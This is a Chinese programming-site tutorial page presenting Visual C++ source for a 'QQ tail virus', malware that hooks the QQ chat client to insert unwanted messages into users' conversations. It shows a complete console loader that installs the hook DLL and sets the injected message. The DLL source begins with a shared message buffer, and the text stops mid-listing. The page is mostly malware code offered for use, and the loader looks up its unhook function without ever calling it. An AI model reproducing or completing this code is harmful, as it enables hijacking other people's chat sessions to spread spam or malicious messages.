程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> .NET網頁編程 >> .NET實例教程 >> QQ尾巴病毒 VC

QQ尾巴病毒 VC

編輯:.NET實例教程
前一段時間在病毒源代碼的博客上看到了QQ尾巴病毒的原理,他的博客確實不錯,有很多這方面的東西。不過他是用VB或者Delphi寫的(區分不清,呵呵),而且感覺他寫得有點亂,可能我習慣看C格式的代碼吧。最近我用VC重寫了一下,增加了一點設置功能,一些地方又加了些注釋,會比較容易看懂。

首先新建一個WIN32 CONSOLE的工程,主文件代碼如下:
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
void errOut (char *msg)
{
    printf ("%s\n",msg);
}
int main(int argc, char* argv[])
{
    HINSTANCE hDll=LoadLibrary ("..\\dll\\debug\\dll.dll");//設置DLL的路徑,假如你的DLL工程名和我一樣的話就不用改了
    if (hDll==NULL)
    {
        errOut("failed to open dll file!");
        return 1;
    }
    typedef void (WINAPI *MYFUN) ();
    MYFUN mf=NULL;
    mf=(MYFUN)GetProcAddress(hDll,"HookOn");
    if (mf==NULL)
    {
        errOut("failed to find HookOn function!");
        return 1;
    }
    printf ("input the string you want to insert:");
    scanf ("%s",(char*)GetProcAddress(hDll,"msg")+2);//set inserted message,+2跳過兩個換行符
    mf ();
    printf ("press any key to unintall hook!\n");
    system ("pause");

    mf=(MYFUN)GetProcAddress(hDll,"HookOff");
    if (mf==NULL)
    {
        errOut("failed to find HookOff function!");
        return 1;
    }
    FreeLibrary(hDll);
    return 0;
}

然後新建一個WIN32 DLL的工程插入到原有工作空間,我的工程名為dll。
DLL主文件源碼:

// dll.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"

#pragma   data_seg( ".Shared")
char msg[255]="\n\n";        //在原消息後隔
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved